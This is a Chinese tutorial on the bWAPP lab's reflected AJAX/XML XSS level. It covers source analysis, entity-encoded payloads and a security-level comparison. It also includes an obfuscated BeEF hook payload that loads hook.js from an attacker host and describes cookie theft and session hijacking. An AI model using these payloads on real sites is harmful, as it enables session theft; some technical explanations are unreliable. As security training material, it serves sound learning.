零基础玩转bWAPP靶场(四十七):XSS - Reflected (AJAX/XML)
2026/8/10 10:38:15 网站建设 项目流程

摘要:这是 bWAPP 系列第四十七篇,聚焦于 XSS - Reflected (AJAX/XML)。这一关和上一篇(AJAX/JSON)的核心区别在于:后端返回结构化XML 数据而非 JSON。前端通过 AJAX 异步请求获取 XML、通过responseXML解析文档对象,最终提取内容交由innerHTML渲染页面。漏洞核心成因一致:用户可控输入无严格过滤,直接拼接进 XML 响应体。本文详细剖析该类 AJAX/XML 型反射 XSS 的三层安全级别差异、手工注入流程、BeEF Cookie 劫持利用,附真实案例,贴合实战渗透场景。


一、找目标

目标

说明

漏洞类型

反射型 XSS(AJAX/XML 异步解析型)

注入点

前端输入框 → 异步 GET 参数 title(AJAX 动态提交)

响应格式

标准 text/xml 结构化文档

前端解析链路

responseXML 解析 XML DOM → 提取文本 → innerHTML 渲染 DOM

触发方式

输入框实时触发 / 构造恶意链接诱导用户访问

利用工具

BeEF(浏览器挂钩、窃取 Cookie、会话劫持)


二、前言:AJAX/XML 型 XSS 是什么?

  • 用户在页面输入框提交内容,前端 JS 捕获输入值,自动发起 AJAX GET 请求;

  • 后端将用户输入直接拼接进 XML 根节点<response>中返回;

  • 前端通过responseXML解析完整 XML 文档对象;

  • JS 提取 XML 节点内的文本内容;

  • 最终通过innerHTML写入页面 DOM,触发 HTML 解析与脚本执行。

核心风险点

  • XML 解析器只校验标签语法,不过滤 HTML 恶意事件属性

  • 后端 Low/Medium 级别未对特殊标签< >做实体转义;

  • 前端高危写法:可信 XML 结构化数据直接落入 innerHTML,实现 HTML 上下文逃逸;

  • 异步 AJAX 请求无刷新触发漏洞,隐蔽性远高于普通反射 XSS。


三、关卡介绍

3.1 页面功能

  • 标题:XSS - Reflected (AJAX/XML)

  • 一个搜索框

  • 输入电影名,AJAX 请求返回结果

3.2 正常使用

输入 IRON MAN → 正常回显:Yes! We have that movie...

输入 AVATAR → 正常回显:AVATAR??? Sorry, we don't have that movie :(

3.3 观察 AJAX 请求

F12 → Network,抓取异步请求xss_ajax_1-2.php?title=AVATAR,后端标准 XML 响应:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <response>AVATAR??? Sorry, we don't have that movie :(</response>


四、源码分析

4.1 前端:xss_ajax_1.js

function process() { title = encodeURIComponent(document.getElementById("title").value); xmlHttp.open("GET", "xss_ajax_1-2.php?title=" + title, true); xmlHttp.onreadystatechange = handleServerResponse; xmlHttp.send(null); } ​ function handleServerResponse() { if(xmlHttp.readyState == 4 && xmlHttp.status == 200) { xmlResponse = xmlHttp.responseXML; xmlDocumentElement = xmlResponse.documentElement; result = xmlDocumentElement.firstChild.data; document.getElementById("result").innerHTML = result; // 漏洞点! } }

漏洞核心:后端可控内容,经过 XML 解析后直接赋值给innerHTML,浏览器会将文本解析为 HTML 标签并执行事件脚本。

4.2 后端:xss_ajax_1-2.php

function xss($data) { switch($_COOKIE["security_level"]) { case "0" : $data = no_check($data); break; // 无过滤 case "1" : $data = xss_check_4($data); break; // addslashes() case "2" : $data = xss_check_3($data); break; // htmlspecialchars() } return $data; } ​ echo "<response>"; echo xss($title) . "??? Sorry, we don't have that movie :("; echo "</response>";

五、Low 安全级别——手工注入

5.1 关键误区纠正

很多学习者踩坑:直接输入 <img src=x οnerrοr=alert(1)> 无法弹窗。 原因:XML 解析器会识别该标签为 XML 节点,自动剔除 onerror 等 HTML 专属事件属性,导致事件失效、无弹窗。

本关 XML XSS正确可用 Payload(实体编码绕过 XML 解析,保留完整事件):

&lt;img src=x onerror=alert(1)&gt;

原理:XML 解析器将&lt;解析还原成字符<&gt;还原成>,最终输出完整 HTML 字符串给innerHTML,成功触发弹窗。


六、使用 BeEF 获取 Cookie

6.1 注入 BeEF Hook(XML 适配 Payload)

适配 XML 解析规则,使用实体编码完整 Hook 载荷,避免被 XML 过滤:

&lt;img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)&gt;

6.2 观察后端 XML 响应

XML 解析后还原完整恶意标签,前端 innerHTML 成功渲染并执行脚本,加载远程 hook.js。

6.3 BeEF 浏览器上线

受害者页面加载后,自动连接攻击机 BeEF 服务,控制面板 Online Browsers 出现上线主机。

6.4 获取 Cookie 与会话劫持

调用 BeEF 获取 Cookie 模块,可拿到受害者PHPSESSID、安全级别 Cookie 等会话凭证。攻击者本地伪造相同 Cookie,即可无密码登录受害者后台,完成会话劫持攻击


七、Medium 安全级别

Medium 级别采用addslashes()过滤,仅转义单双引号,不转义尖括号 < >。XML 结构不被破坏,恶意标签完整保留,innerHTML 依旧可以解析执行脚本,XSS 漏洞依然存在。

尝试注入:

&lt;img src=x onerror=alert(1)&gt;


八、High 安全级别

High 级别启用htmlspecialchars()全局实体转义,将<>、引号、& 全部转为实体字符。XML 响应内恶意载荷变为纯文本展示,无法被 HTML 解析,XSS 彻底防御。

尝试注入:

&lt;img src=x onerror=alert(1)&gt;


九、三种安全级别对比

级别

过滤函数

漏洞状态

核心原因

Low

无过滤

存在 XSS

用户输入完全可控,直接拼接 XML

Medium

addslashes()

存在 XSS

仅转义引号,保留标签尖括号

High

htmlspecialchars()

漏洞修复

全量 HTML 实体转义,杜绝标签注入


十、真实世界:AJAX/XML XSS 权威真实案例

案例1:企业后台 AJAX 搜索 XML 回显 XSS(通用商业系统漏洞)

大量传统 OA、CRM、企业管理后台,采用「AJAX 异步请求 + XML 结构化返回 + innerHTML 前端渲染」架构。这类系统普遍存在编码漏洞:后端仅过滤引号,未转义标签符号,攻击者可通过搜索、查询、备注等输入点,注入恶意 HTML 事件标签。

漏洞原理与本关完全一致:用户输入拼接 XML → 前端 XML 解析 → innerHTML 渲染触发 XSS,黑客可植入挂马脚本、窃取管理员 Cookie,实现后台权限接管,是政企渗透中高频遇见的高危漏洞。

案例2:jQuery 异步 XML 解析 XSS 系列漏洞(CVE-2020-11022 / CVE-2020-11023)

该漏洞影响 jQuery 1.2 ~ 3.5.0 全系列版本,是互联网影响范围最广的 AJAX 异步渲染 XSS 漏洞。漏洞核心场景与本文高度契合:前端通过 AJAX 获取 XML/文本数据,通过 jQuery.html().append()等 DOM 方法动态渲染页面。

攻击者可构造特殊含事件属性的标签载荷,利用前端异步解析、DOM 动态渲染逻辑绕过前端安全机制,实现存储/反射型 XSS。大量老版本网站、管理后台、SaaS 平台因此漏洞被批量挂马、会话劫持,完美印证本篇「异步AJAX + 结构化数据 + innerHTML 高危组合」的风险。

案例3:开源 CMS 异步接口 XML 未转义 XSS(厂商公开漏洞公告)

多款开源内容管理系统、建站系统的搜索、评论、数据查询接口,为追求加载速度采用 AJAX 异步 XML 响应。因开发人员误用「XML 结构化传输+前端 innerHTML 渲染」组合,未做全局实体转义,导致用户可控参数可注入恶意脚本。

该类漏洞危害极大:无需用户交互、异步无刷新触发,可批量窃取访客 Cookie、植入挖矿脚本、跳转钓鱼页面,是白帽渗透测试中重点检测的高危漏洞类型。


十一、总结

AJAX/XML 型反射 XSS 的核心风险逻辑固定:后端结构化 XML 响应未过滤用户输入,前端异步解析后直接交由 innerHTML 渲染 DOM

三级安全级别防护结论清晰:

  • Low 无过滤、Medium 仅过滤引号,均无法防御 XSS 攻击;

  • 唯一根治方案:使用htmlspecialchars()对用户输入做全量 HTML 实体转义

  • XML 场景特殊坑点:直接写入标签会被 XML 解析器丢弃事件,必须实体编码绕过;

  • 真实互联网中大量老旧系统、jQuery 架构系统普遍存在该漏洞,危害持久。

无论是 JSON 还是 XML 异步 XSS,核心安全准则不变:所有用户可控输入,最终会渲染到 HTML 页面时,必须做严格的 HTML 实体转义,杜绝 DOM 上下文逃逸与脚本执行。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询